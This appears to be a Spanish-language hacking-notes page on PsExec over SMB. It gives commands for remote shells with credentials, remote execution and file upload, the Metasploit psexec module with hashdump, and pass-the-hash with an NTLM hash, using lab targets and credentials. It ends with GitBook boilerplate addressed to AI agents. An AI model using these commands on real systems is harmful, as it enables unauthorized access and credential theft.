> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/smb-445/psexec-smb-tool.md).

# PsExec (herramienta SMB)

> **PsExec** es una herramienta de la suite Sysinternals de Microsoft, utilizada para ejecutar comandos o programas de forma remota en equipos Windows. Permite acceso interactivo o en segundo plano a una máquina remota, a menudo con privilegios elevados, sin necesidad de conectarse físicamente ni usar un cliente RDP. Esto es especialmente útil para la administración de redes, las pruebas de seguridad o la automatización de tareas.

Si aparece el siguiente mensaje:

> "La firma está habilitada pero no es obligatoria"

<figure><img src="/files/0b9d9d527c33b05d70b92cf5d1e9e604c6bd550c" alt="" width="563"><figcaption></figcaption></figure>

* Esto significa que la autenticación puede producirse sin verificación de firma. Es posible que exista una comunicación insegura, lo que permitiría abusos relacionados con la autenticación.

### **PsExec.py**

Aquí hay un ejemplo de comando para obtener una shell interactiva con privilegios administrativos:

```bash
psexec.py <domain>/<user>:<password>@<ip_address> cmd.exe
```

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/088c17336f0c7f36e1885044dbbba7f030aeb031" alt=""><figcaption></figcaption></figure>

### **Ejecución remota de comandos**

Te permite lanzar comandos o scripts directamente en una máquina remota, sin abrir una sesión de usuario.

```bash
psexec //<ip_address> -u <user> -p <password> <command>
```

```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```

### **Carga remota de archivos**

PsExec te permite copiar un archivo local a la máquina remota antes de ejecutarlo.

```bash
psexec //<ip_address> -c <file_path>
```

```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```

## Metasploit

**Uso de Metasploit para explotar SMB con PsExec**

1. Inicia Metasploit con el **módulo de exploit/windows/smb/psexec** :

```bash
use exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```

<figure><img src="/files/220cd4d9fab7587a4023ae38276504e510616a24" alt=""><figcaption></figcaption></figure>

Después de obtener acceso con éxito, es posible "volcar" los hashes de contraseñas:

```bash
hashdump
```

<figure><img src="/files/228de2e29e491b08488b1217b7e886099cd8d0b1" alt=""><figcaption></figcaption></figure>

### **Pass-the-Hash - PsExec**

PsExec también puede usarse para Pass-the-Hash proporcionando un hash NTLM en lugar de una contraseña. Esto puede proporcionar acceso administrativo cuando el hash pertenece a una cuenta privilegiada:

```bash
psexec.py <domain>/<user>@<ip_address> -hashes :<ntlm_hash>
```

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

<figure><img src="/files/c2f62239ba5d4da1b19e0cf26a82ab1d08f0e721" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/smb-445/psexec-smb-tool.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
